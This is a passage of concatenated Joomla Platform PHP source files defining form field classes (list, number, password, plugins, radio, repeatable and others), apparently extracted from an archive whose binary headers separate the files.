// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[5?��##form/fields/language.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Supports a list of installed application languages
*
* @see JFormFieldContentLanguage for a select list of content
languages.
* @since 1.7.0
*/
class JFormFieldLanguage extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Language';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
// Initialize some field attributes.
$client = (string) $this->element['client'];
if ($client != 'site' && $client !=
'administrator')
{
$client = 'site';
}
// Make sure the languages are sorted base on locale instead of random
sorting
$languages = JLanguageHelper::createLanguageList($this->value,
constant('JPATH_' . strtoupper($client)), true, true);
if (count($languages) > 1)
{
usort(
$languages,
function ($a, $b)
{
return strcmp($a['value'], $b['value']);
}
);
}
// Merge any additional options in the XML definition.
$options = array_merge(
parent::getOptions(),
$languages
);
// Set the default value active language
if ($langParams = JComponentHelper::getParams('com_languages'))
{
switch ((string) $this->value)
{
case 'site':
case 'frontend':
case '0':
$this->value = $langParams->get('site',
'en-GB');
break;
case 'admin':
case 'administrator':
case 'backend':
case '1':
$this->value = $langParams->get('administrator',
'en-GB');
break;
case 'active':
case 'auto':
$lang = JFactory::getLanguage();
$this->value = $lang->getTag();
break;
default:
break;
}
}
return $options;
}
}
PKKn�[Y��form/fields/list.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a generic list of options.
*
* @since 1.7.0
*/
class JFormFieldList extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'List';
/**
* Method to get the field input markup for a generic list.
* Use the multiple attribute to enable multiselect.
*
* @return string The field input markup.
*
* @since 3.7.0
*/
protected function getInput()
{
$html = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true' || (string) $this->disabled ==
'1'|| (string) $this->disabled == 'true')
{
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = (array) $this->getOptions();
// Create a read-only list (no name) with hidden input(s) to store the
value(s).
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true')
{
$html[] = JHtml::_('select.genericlist', $options,
'', trim($attr), 'value', 'text',
$this->value, $this->id);
// E.g. form field type tag sends $this->value as array
if ($this->multiple && is_array($this->value))
{
if (!count($this->value))
{
$this->value[] = '';
}
foreach ($this->value as $value)
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '"/>';
}
}
else
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'"/>';
}
}
else
// Create a regular list passing the arguments in an array.
{
$listoptions = array();
$listoptions['option.key'] = 'value';
$listoptions['option.text'] = 'text';
$listoptions['list.select'] = $this->value;
$listoptions['id'] = $this->id;
$listoptions['list.translate'] = false;
$listoptions['option.attr'] = 'optionattr';
$listoptions['list.attr'] = trim($attr);
$html[] = JHtml::_('select.genericlist', $options,
$this->name, $listoptions);
}
return implode($html);
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 3.7.0
*/
protected function getOptions()
{
$fieldname = preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname);
$options = array();
foreach ($this->element->xpath('option') as $option)
{
// Filter requirements
if ($requires = explode(',', (string)
$option['requires']))
{
// Requires multilanguage
if (in_array('multilanguage', $requires) &&
!JLanguageMultilang::isEnabled())
{
continue;
}
// Requires associations
if (in_array('associations', $requires) &&
!JLanguageAssociations::isEnabled())
{
continue;
}
// Requires adminlanguage
if (in_array('adminlanguage', $requires) &&
!JModuleHelper::isAdminMultilang())
{
continue;
}
// Requires vote plugin
if (in_array('vote', $requires) &&
!JPluginHelper::isEnabled('content', 'vote'))
{
continue;
}
}
$value = (string) $option['value'];
$text = trim((string) $option) != '' ? trim((string) $option)
: $value;
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
$disabled = $disabled || ($this->readonly && $value !=
$this->value);
$checked = (string) $option['checked'];
$checked = ($checked == 'true' || $checked ==
'checked' || $checked == '1');
$selected = (string) $option['selected'];
$selected = ($selected == 'true' || $selected ==
'selected' || $selected == '1');
$tmp = array(
'value' => $value,
'text' => JText::alt($text, $fieldname),
'disable' => $disabled,
'class' => (string) $option['class'],
'selected' => ($checked || $selected),
'checked' => ($checked || $selected),
);
// Set some event handler attributes. But really, should be using
unobtrusive js.
$tmp['onclick'] = (string) $option['onclick'];
$tmp['onchange'] = (string) $option['onchange'];
if ((string) $option['showon'])
{
$tmp['optionattr'] = " data-showon='" .
json_encode(
JFormHelper::parseShowOnConditions((string)
$option['showon'], $this->formControl, $this->group)
)
. "'";
}
// Add the option object to the result set.
$options[] = (object) $tmp;
}
if ($this->element['useglobal'])
{
$tmp = new stdClass;
$tmp->value = '';
$tmp->text = JText::_('JGLOBAL_USE_GLOBAL');
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
foreach ($options as $option)
{
if ($option->value === $value)
{
$value = $option->text;
break;
}
}
$tmp->text = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
array_unshift($options, $tmp);
}
reset($options);
return $options;
}
/**
* Method to add an option to the list field.
*
* @param string $text Text/Language variable of the option.
* @param array $attributes Array of attributes ('name'
=> 'value' format)
*
* @return JFormFieldList For chaining.
*
* @since 3.7.0
*/
public function addOption($text, $attributes = array())
{
if ($text && $this->element instanceof SimpleXMLElement)
{
$child = $this->element->addChild('option', $text);
foreach ($attributes as $name => $value)
{
$child->addAttribute($name, $value);
}
}
return $this;
}
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.7.0
*/
public function __get($name)
{
if ($name == 'options')
{
return $this->getOptions();
}
return parent::__get($name);
}
}
PKKn�[?��~form/fields/meter.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('number');
/**
* Form Field class for the Joomla Platform.
* Provides a meter to show value in a range.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldMeter extends JFormFieldNumber
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Meter';
/**
* The width of the field increased or decreased.
*
* @var string
* @since 3.2
*/
protected $width;
/**
* Whether the field is active or not.
*
* @var boolean
* @since 3.2
*/
protected $active = false;
/**
* Whether the field is animated or not.
*
* @var boolean
* @since 3.2
*/
protected $animated = true;
/**
* The color of the field
*
* @var boolean
* @since 3.2
*/
protected $color;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.meter';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'active':
case 'width':
case 'animated':
case 'color':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'width':
case 'color':
$this->$name = (string) $value;
break;
case 'active':
$value = (string) $value;
$this->active = ($value === 'true' || $value === $name ||
$value === '1');
break;
case 'animated':
$value = (string) $value;
$this->animated = !($value === 'false' || $value ===
'off' || $value === '0');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->width = isset($this->element['width']) ? (string)
$this->element['width'] : '';
$this->color = isset($this->element['color']) ? (string)
$this->element['color'] : '';
$active = (string) $this->element['active'];
$this->active = ($active == 'true' || $active ==
'on' || $active == '1');
$animated = (string) $this->element['animated'];
$this->animated = !($animated == 'false' || $animated ==
'off' || $animated == '0');
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'width' => $this->width,
'color' => $this->color,
'animated' => $this->animated,
'active' => $this->active,
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
);
return array_merge($data, $extraData);
}
}
PKKn�[�W-77form/fields/note.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Supports a one line text field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 1.7.0
*/
class JFormFieldNote extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Note';
/**
* Method to get the field label markup.
*
* @return string The field label markup.
*
* @since 1.7.0
*/
protected function getLabel()
{
if (empty($this->element['label']) &&
empty($this->element['description']))
{
return '';
}
$title = $this->element['label'] ? (string)
$this->element['label'] :
($this->element['title'] ? (string)
$this->element['title'] : '');
$heading = $this->element['heading'] ? (string)
$this->element['heading'] : 'h4';
$description = (string) $this->element['description'];
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$close = (string) $this->element['close'];
$html = array();
if ($close)
{
$close = $close == 'true' ? 'alert' : $close;
$html[] = '<button type="button"
class="close" data-dismiss="' . $close .
'">×</button>';
}
$html[] = !empty($title) ? '<' . $heading . '>'
. JText::_($title) . '</' . $heading . '>' :
'';
$html[] = !empty($description) ? JText::_($description) : '';
return '</div><div ' . $class . '>' .
implode('', $html);
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
return '';
}
}
PKKn�[J�g~33form/fields/number.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a one line text box with up-down handles to set a number in the
field.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldNumber extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Number';
/**
* The allowable maximum value of the field.
*
* @var float
* @since 3.2
*/
protected $max = null;
/**
* The allowable minimum value of the field.
*
* @var float
* @since 3.2
*/
protected $min = null;
/**
* The step by which value of the field increased or decreased.
*
* @var float
* @since 3.2
*/
protected $step = 0;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.number';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'max':
case 'min':
case 'step':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'step':
case 'min':
case 'max':
$this->$name = (float) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
// It is better not to force any default limits if none is specified
$this->max = isset($this->element['max']) ? (float)
$this->element['max'] : null;
$this->min = isset($this->element['min']) ? (float)
$this->element['min'] : null;
$this->step = isset($this->element['step']) ? (float)
$this->element['step'] : 1;
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
if ($this->element['useglobal'])
{
$component =
JFactory::getApplication()->input->getCmd('option');
// Get correct component for menu items
if ($component == 'com_menus')
{
$link = $this->form->getData()->get('link');
$uri = new JUri($link);
$component = $uri->getVar('option',
'com_menus');
}
$params = JComponentHelper::getParams($component);
$value = $params->get($this->fieldname);
// Try with global configuration
if (is_null($value))
{
$value = JFactory::getConfig()->get($this->fieldname);
}
// Try with menu configuration
if (is_null($value) &&
JFactory::getApplication()->input->getCmd('option') ==
'com_menus')
{
$value =
JComponentHelper::getParams('com_menus')->get($this->fieldname);
}
if (!is_null($value))
{
$value = (string) $value;
$this->hint = JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE',
$value);
}
}
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
'value' => $this->value,
);
return array_merge($data, $extraData);
}
}
PKKn�[�F��form/fields/password.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Text field for passwords
*
* @link
http://www.w3.org/TR/html-markup/input.password.html#input.password
* @note Two password fields may be validated as matching using
JFormRuleEquals
* @since 1.7.0
*/
class JFormFieldPassword extends JFormField
{
/**
* Attach an unlock button and disable the input field,
* also remove the value from the output.
*
* @var boolean
* @since 3.9.24
*/
protected $lock = false;
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Password';
/**
* The threshold of password field.
*
* @var integer
* @since 3.2
*/
protected $threshold = 66;
/**
* The allowable maxlength of password.
*
* @var integer
* @since 3.2
*/
protected $maxLength;
/**
* Whether to attach a password strength meter or not.
*
* @var boolean
* @since 3.2
*/
protected $meter = false;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.password';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'lock':
case 'threshold':
case 'maxLength':
case 'meter':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
$value = (string) $value;
switch ($name)
{
case 'maxLength':
case 'threshold':
$this->$name = $value;
break;
case 'lock':
case 'meter':
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$lock = (string) $this->element['lock'];
$this->lock = ($lock == 'true' || $lock == 'on'
|| $lock == '1');
$this->maxLength = $this->element['maxlength'] ? (int)
$this->element['maxlength'] : 99;
$this->threshold = $this->element['threshold'] ? (int)
$this->element['threshold'] : 66;
$meter = (string) $this->element['strengthmeter'];
$this->meter = ($meter == 'true' || $meter ==
'on' || $meter == '1');
}
return $return;
}
/**
* Method to get the field input markup for password.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'lock' => $this->lock,
'maxLength' => $this->maxLength,
'meter' => $this->meter,
'threshold' => $this->threshold,
);
return array_merge($data, $extraData);
}
}
PKKn�[�����form/fields/plugins.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 2.5.0
*/
class JFormFieldPlugins extends JFormFieldList
{
/**
* The field type.
*
* @var string
* @since 2.5.0
*/
protected $type = 'Plugins';
/**
* The path to folder for plugins.
*
* @var string
* @since 3.2
*/
protected $folder;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'folder':
return $this->folder;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'folder':
$this->folder = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->folder = (string) $this->element['folder'];
}
return $return;
}
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 2.5.0
*/
protected function getOptions()
{
$folder = $this->folder;
$parentOptions = parent::getOptions();
if (!empty($folder))
{
// Get list of plugins
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('element AS value, name AS text')
->from('#__extensions')
->where('folder = ' . $db->quote($folder))
->where('enabled = 1')
->order('ordering, name');
if ((string) $this->element['useaccess'] ===
'true')
{
$groups = implode(',',
JFactory::getUser()->getAuthorisedViewLevels());
$query->where($db->quoteName('access') . ' IN
(' . $groups . ')');
}
$options = $db->setQuery($query)->loadObjectList();
$lang = JFactory::getLanguage();
$useGlobal = $this->element['useglobal'];
if ($useGlobal)
{
$globalValue = JFactory::getConfig()->get($this->fieldname);
}
foreach ($options as $i => $item)
{
$source = JPATH_PLUGINS . '/' . $folder . '/' .
$item->value;
$extension = 'plg_' . $folder . '_' .
$item->value;
$lang->load($extension . '.sys', JPATH_ADMINISTRATOR,
null, false, true) || $lang->load($extension . '.sys',
$source, null, false, true);
$options[$i]->text = JText::_($item->text);
// If we are using useglobal update the use global value text with the
plugin text.
if ($useGlobal && isset($parentOptions[0]) &&
$item->value === $globalValue)
{
$text = JText::_($extension);
$parentOptions[0]->text =
JText::sprintf('JGLOBAL_USE_GLOBAL_VALUE', ($text ===
'' || $text === $extension ? $item->value : $text));
}
}
}
else
{
JLog::add(JText::_('JFRAMEWORK_FORM_FIELDS_PLUGINS_ERROR_FOLDER_EMPTY'),
JLog::WARNING, 'jerror');
}
return array_merge($parentOptions, $options);
}
}
PKKn�[SBj���form/fields/predefinedlist.phpnu�[���<?php
/**
* @package Joomla.Libraries
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field to load a list of predefined values
*
* @since 3.2
*/
abstract class JFormFieldPredefinedList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'PredefinedList';
/**
* Cached array of the category items.
*
* @var array
* @since 3.2
*/
protected static $options = array();
/**
* Available predefined options
*
* @var array
* @since 3.2
*/
protected $predefinedOptions = array();
/**
* Translate options labels ?
*
* @var boolean
* @since 3.2
*/
protected $translate = true;
/**
* Method to get the options to populate list
*
* @return array The field option objects.
*
* @since 3.2
*/
protected function getOptions()
{
// Hash for caching
$hash = md5($this->element);
$type = strtolower($this->type);
if (!isset(static::$options[$type][$hash]) &&
!empty($this->predefinedOptions))
{
static::$options[$type][$hash] = parent::getOptions();
$options = array();
// Allow to only use specific values of the predefined list
$filter = isset($this->element['filter']) ?
explode(',', $this->element['filter']) : array();
foreach ($this->predefinedOptions as $value => $text)
{
$val = (string) $value;
if (empty($filter) || in_array($val, $filter, true))
{
$text = $this->translate ? JText::_($text) : $text;
$options[] = (object) array(
'value' => $value,
'text' => $text,
);
}
}
static::$options[$type][$hash] =
array_merge(static::$options[$type][$hash], $options);
}
return static::$options[$type][$hash];
}
}
PKKn�[<l���form/fields/radio.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides radio button inputs
*
* @link
http://www.w3.org/TR/html-markup/command.radio.html#command.radio
* @since 1.7.0
*/
class JFormFieldRadio extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Radio';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.radio';
/**
* Method to get the radio button field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'options' => $this->getOptions(),
'value' => (string) $this->value,
);
return array_merge($data, $extraData);
}
}
PKKn�[W�
���form/fields/range.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('number');
/**
* Form Field class for the Joomla Platform.
* Provides a horizontal scroll bar to specify a value in a range.
*
* @link http://www.w3.org/TR/html-markup/input.text.html#input.text
* @since 3.2
*/
class JFormFieldRange extends JFormFieldNumber
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Range';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.range';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = array(
'max' => $this->max,
'min' => $this->min,
'step' => $this->step,
);
return array_merge($data, $extraData);
}
}
PKKn�[�60Lllform/fields/repeatable.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Display a JSON loaded window with a repeatable set of sub fields
*
* @since 3.2
*
* @deprecated 4.0 Use JFormFieldSubform
*/
class JFormFieldRepeatable extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 3.2
*/
protected $type = 'Repeatable';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 3.2
*/
protected function getInput()
{
JLog::add('JFormFieldRepeatable is deprecated. Use JFormFieldSubform
instead.', JLog::WARNING, 'deprecated');
// Initialize variables.
$subForm = new JForm($this->name, array('control' =>
'jform'));
$xml = $this->element->children()->asXml();
$subForm->load($xml);
// Needed for repeating modals in gmaps
// @TODO: what and where???
$subForm->repeatCounter = (int) @$this->form->repeatCounter;
$children = $this->element->children();
$subForm->setFields($children);
// If a maximum value isn't set then we'll make the maximum
amount of cells a large number
$maximum = $this->element['maximum'] ? (int)
$this->element['maximum'] : '999';
// Build a Table
$head_row_str = array();
$body_row_str = array();
$head_row_str[] = '<th></th>';
$body_row_str[] = '<td><span class="sortable-handler
" style="cursor: move;"><span
class="icon-menu"
aria-hidden="true"></span></span></td>';
foreach ($subForm->getFieldset() as $field)
{
// Reset name to simple
$field->name = (string) $field->element['name'];
// Build heading
$head_row_str[] = '<th>' .
strip_tags($field->getLabel($field->name));
$head_row_str[] = '<br /><small
style="font-weight:normal">' .
JText::_($field->description) . '</small>';
$head_row_str[] = '</th>';
// Build body
$body_row_str[] = '<td>' . $field->getInput() .
'</td>';
}
// Append buttons
$head_row_str[] = '<th><div
class="btn-group"><a href="#" class="add btn
button btn-success" aria-label="' .
JText::_('JGLOBAL_FIELD_ADD') . '">';
$head_row_str[] = '<span class="icon-plus"
aria-hidden="true"></span>
</a></div></th>';
$body_row_str[] = '<td><div
class="btn-group">';
$body_row_str[] = '<a class="add btn button
btn-success" aria-label="' .
JText::_('JGLOBAL_FIELD_ADD') . '">';
$body_row_str[] = '<span class="icon-plus"
aria-hidden="true"></span> </a>';
$body_row_str[] = '<a class="remove btn button
btn-danger" aria-label="' .
JText::_('JGLOBAL_FIELD_REMOVE') . '">';
$body_row_str[] = '<span class="icon-minus"
aria-hidden="true"></span> </a>';
$body_row_str[] = '</div></td>';
// Put all table parts together
$table = '<table id="' . $this->id .
'_table" class="adminlist ' .
$this->element['class'] . ' table
table-striped">'
. '<thead><tr>' . implode("\n",
$head_row_str) . '</tr></thead>'
. '<tbody><tr>' . implode("\n",
$body_row_str) . '</tr></tbody>'
. '</table>';
// And finally build a main container
$str = array();
$str[] = '<div id="' . $this->id .
'_container">';
// Add the table to modal
$str[] = '<div id="' . $this->id .
'_modal" class="modal hide">';
$str[] = $table;
$str[] = '<div class="modal-footer">';
$str[] = '<button class="close-modal btn button
btn-link">' . JText::_('JCANCEL') .
'</button>';
$str[] = '<button class="save-modal-data btn button
btn-primary">' . JText::_('JAPPLY') .
'</button>';
$str[] = '</div>';
// Close modal container
$str[] = '</div>';
// Close main container
$str[] = '</div>';
// Button for display the modal window
$select = (string) $this->element['select'] ?
JText::_((string) $this->element['select']) :
JText::_('JLIB_FORM_BUTTON_SELECT');
$icon = $this->element['icon'] ? '<span
class="icon-' . $this->element['icon'] .
'"></span> ' : '';
$str[] = '<button class="open-modal btn"
id="' . $this->id . '_button" >' . $icon .
$select . '</button>';
if (is_array($this->value))
{
$this->value = array_shift($this->value);
}
// Script params
$data = array();
